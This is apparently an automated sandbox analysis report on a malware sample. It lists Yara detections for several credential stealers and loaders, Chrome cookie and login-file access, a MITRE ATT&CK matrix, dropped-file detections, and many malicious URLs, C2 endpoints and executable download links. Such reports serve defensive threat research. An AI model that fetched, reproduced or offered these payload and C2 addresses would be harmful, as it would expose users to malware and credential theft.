Source: Yara match	File source: 0000001E.00000003.756307627.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.753492688.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.780638526.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.752240800.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.750189516.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.750357522.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aafg31.exe PID: 6996, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\d2cd906a43a4a9c74d1ebbacdb1b42a7

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 19.2.2355.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.2355.exe.3ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.42c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.42c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b1e76.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b2d5e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b1e76.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.5486550.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.5486550.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.3e60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b2d5e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.800068584.0000000004171000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.808719162.0000000005485000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2355.exe PID: 572, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Source: Yara match	File source: 22.3.89DB.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.2460e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.659211500.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000001E.00000003.742423411.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.777735323.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.733623686.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.720867205.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.714511396.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.712896879.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.770828365.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.710446992.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.760432477.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.779253254.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.758717400.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.721920559.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.756307627.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.753492688.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.780638526.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.752240800.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.750189516.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.750357522.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aafg31.exe PID: 6996, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	1 Services File Permissions Weakness	612 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Command and Scripting Interpreter	Logon Script (Mac)	11 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Services File Permissions Weakness	1 DLL Side-Loading	LSA Secrets	451 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	125 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	612 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Regsvr32	Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Services File Permissions Weakness	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	42%	ReversingLabs	Win32.Ransomware.Generic
file.exe	39%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\F0EE.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\Temp\FB94.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Temp\XandETC.exe	100%	Avira	HEUR/AGEN.1329655
C:\Users\user\AppData\Local\Temp\oldplayer.exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Temp\43AA.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F0EE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\89DB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D05F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5542.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\89B0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\32DC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F7C8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FB94.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D01F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\856.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4FC4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D5C1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6C58.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2355.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B666.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4149.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\oldplayer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B03B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2666.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A078.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5DF3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\950D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9E07.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	89%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\4149.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\4FC4.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\5542.exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5DF3.exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Temp\89B0.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\A078.exe	53%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\F0EE.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\FB94.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\XandETC.exe	71%	ReversingLabs	Win64.Coinminer.Xmrig
C:\Users\user\AppData\Local\Temp\aafg31.exe	50%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\oldplayer.exe	89%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\uehwfht	42%	ReversingLabs	Win32.Ransomware.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
5.42.65.80/8bmeVwqx/index.php	0%	URL Reputation	safe
https://shsplatform.co.uk/tmp/index.php	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://aa.imgjeoogbb.com/check/safe	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	0%	URL Reputation	safe
http://aa.imgjeoogbb.com:80/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc3	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/?sid=13930&key=ff297e48489120df4aadb333b8db0d5faa.imgjeoogbb.comaa	100%	Avira URL Cloud	malware
http://adriaenclaeys.ta.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	100%	Avira URL Cloud	malware
https://nordskills.eu/tmp/index.php	100%	Avira URL Cloud	malware
http://h170013.srv22.test-hf.su/157.exe	100%	Avira URL Cloud	malware
http://www.rs-ag.com/	0%	Avira URL Cloud	safe
http://www.wifi4all.nl/	0%	Avira URL Cloud	safe
http://adriaenclaeys.top/412a0310f85f16ad/sqlite3.dll	0%	Avira URL Cloud	safe
https://nordskills.eu/tmp/index.php	1%	Virustotal		Browse
http://aa.imgjeoogbb.com/check/safebb.com/	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/safe724	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13886&key=4c5b358ac6d7081a73168082242b8e8d	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13716&key=5decc7c688ce26a97d722a3f12678e5c	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13944&key=c	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/?sid=13908&key=998c73684e358e008e745dc71067c837	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/?sid=13858&key=5ee6946efebe0e76c2a21c2236bd4723	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/safeP	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13714&key=36c9d8d1e8b160fc1ef706623ad34261	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1N	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13844&key=b750c13b7d486a4a6a96776c26395d2e	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13944&key=	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/safeX	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/safe	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=13824&key=	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=1384eR	100%	Avira URL Cloud	malware
http://5.42.65.80/8bmeVwqx/index.php&	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1	100%	Avira URL Cloud	malware
http://5.42.65.80/8bmeVwqx/index.php:	100%	Avira URL Cloud	malware
http://reinroot.top/calc2.exe	100%	Avira URL Cloud	phishing
http://5.42.65.80/8bmeVwqx/index.php=	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com/check/?sid=14014&key=	100%	Avira URL Cloud	malware
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://aa.imgjeoogbb.com/check/?sid=13774&key=328afcf8f5570f9ba88d4163908311e3	100%	Avira URL Cloud	malware
http://aa.imgjeoogbb.com:80/check/safePw	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
colisumy.com	211.171.233.129	true	false	high
www.tvtools.fi	104.21.88.198	true	false	high
www.fcwcvt.org	188.114.97.7	true	false	high
potunulit.org	188.114.97.7	true	false	high
www.stnic.co.uk	77.68.50.105	true	false	high
www.jacomfg.com	96.127.180.42	true	false	high
waldi.pl	46.242.238.60	true	false	high
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.204.160	true	false	high
evcpa.com	192.124.249.10	true	false	high
us.imgjeoigaa.com	103.100.211.218	true	false	high
www.photo4b.com	195.78.66.50	true	false	high
shsplatform.co.uk	80.66.203.53	true	false	high
www.jenco.co.uk	104.21.23.9	true	false	high
www.credo.edu.pl	62.122.190.121	true	false	high
nordskills.eu	213.6.54.58	true	false	high
hummer.hu	185.80.51.179	true	false	high
synetik.net	193.166.255.171	true	false	high
www.mobilnic.net	154.203.14.100	true	false	high
www.pupi.cz	103.224.182.241	true	false	high
hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com	18.119.154.66	true	false	high
aevga.com	108.167.164.216	true	false	high
greenbi.net	190.187.52.42	true	false	high
www.holleman.us	51.79.51.72	true	false	high
ora.ecnet.jp	60.43.154.138	true	false	high
www.wifi4all.nl	188.114.97.7	true	false	high
aa.imgjeoogbb.com	154.221.26.108	true	false	high
reinroot.top	193.106.174.125	true	false	high
www.olras.com	80.93.82.33	true	false	high
ghs.googlehosted.com	172.217.16.179	true	false	high
quadlock.com	70.39.251.249	true	false	high
abart.pl	89.161.163.246	true	false	high
td-ccm-168-233.wixdns.net	34.117.168.233	true	false	high
www.usadig.com	198.100.146.220	true	false	high
www.abdg.com	192.252.154.18	true	false	high
xaicom.es	188.165.133.163	true	false	high
h170013.srv22.test-hf.su	91.227.16.22	true	false	high
shops.myshopify.com	23.227.38.74	true	false	high
www.gpthink.com	39.99.233.155	true	false	high
hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	3.19.116.195	true	false	high
api.2ip.ua	162.0.217.254	true	false	high
www.naoi-a.com	202.254.236.40	true	false	high
studyrussian.com	80.74.154.6	true	false	high
www.pr-park.com	118.27.125.181	true	false	high
www.otena.com	3.64.163.50	true	false	high
item-pr.com	185.15.129.58	true	false	high
www.valdal.com	104.26.6.221	true	false	high
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	false	high
dgmna.com	192.124.249.20	true	false	high
fnw.us	137.118.26.67	true	false	high
www.rs-ag.com	188.114.96.7	true	false	high
d2kt7vovxa5e81.cloudfront.net	13.224.103.118	true	false	high
baijaku.com	59.106.19.204	true	false	high
www.elpro.si	172.67.70.22	true	false	high
www.ftchat.com	188.114.97.7	true	false	high
www.dgmna.com	unknown	unknown	false	high
www.owsports.ca	unknown	unknown	false	high
www.pdqhomes.com	unknown	unknown	false	high
www.alteor.cl	unknown	unknown	false	high
www.iamdirt.com	unknown	unknown	false	high
www.transsib.com	unknown	unknown	false	high
www.netcr.com	unknown	unknown	false	high
www.petsfan.com	unknown	unknown	false	high
www.ora.ecnet.jp	unknown	unknown	false	high
www.fnw.us	unknown	unknown	false	high
www.synetik.net	unknown	unknown	false	high
www.aevga.com	unknown	unknown	false	high
www.medisa.info	unknown	unknown	false	high
www.snugpak.com	unknown	unknown	false	high
www.xaicom.es	unknown	unknown	false	high
www.lrsuk.com	unknown	unknown	false	high
www.baijaku.com	unknown	unknown	false	high
www.wkhk.net	unknown	unknown	false	high
www.quadlock.com	unknown	unknown	false	high
www.vazir.se	unknown	unknown	false	high
www.udesign.biz	unknown	unknown	false	high
www.evcpa.com	unknown	unknown	false	high
www.depalo.com	unknown	unknown	false	high
www.item-pr.com	unknown	unknown	false	high
www.waldi.pl	unknown	unknown	false	high
www.hummer.hu	unknown	unknown	false	high
www.abart.pl	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
5.42.65.80/8bmeVwqx/index.php	true	URL Reputation: safe	low
https://shsplatform.co.uk/tmp/index.php	true	URL Reputation: safe	unknown
http://h170013.srv22.test-hf.su/157.exe	true	Avira URL Cloud: malware	unknown
https://nordskills.eu/tmp/index.php	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.rs-ag.com/	true	Avira URL Cloud: safe	unknown
http://www.wifi4all.nl/	true	Avira URL Cloud: safe	unknown
http://adriaenclaeys.top/412a0310f85f16ad/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://aa.imgjeoogbb.com/check/?sid=13886&key=4c5b358ac6d7081a73168082242b8e8d	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13716&key=5decc7c688ce26a97d722a3f12678e5c	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13714&key=36c9d8d1e8b160fc1ef706623ad34261	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13844&key=b750c13b7d486a4a6a96776c26395d2e	true	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/safe	true	URL Reputation: safe	unknown
http://reinroot.top/calc2.exe	true	Avira URL Cloud: phishing	unknown
http://aa.imgjeoogbb.com/check/?sid=13774&key=328afcf8f5570f9ba88d4163908311e3	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/?sid=13930&key=ff297e48489120df4aadb333b8db0d5faa.imgjeoogbb.comaa	aafg31.exe, 0000001E.00000003.774732895.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id12Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp, 2355.exe, 00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aa.imgjeoogbb.com:80/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc3	aafg31.exe, 0000001E.00000003.745163331.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.741957865.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.743113806.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://adriaenclaeys.ta.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	aafg31.exe, 0000001E.00000003.780406726.000000000081F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false		high
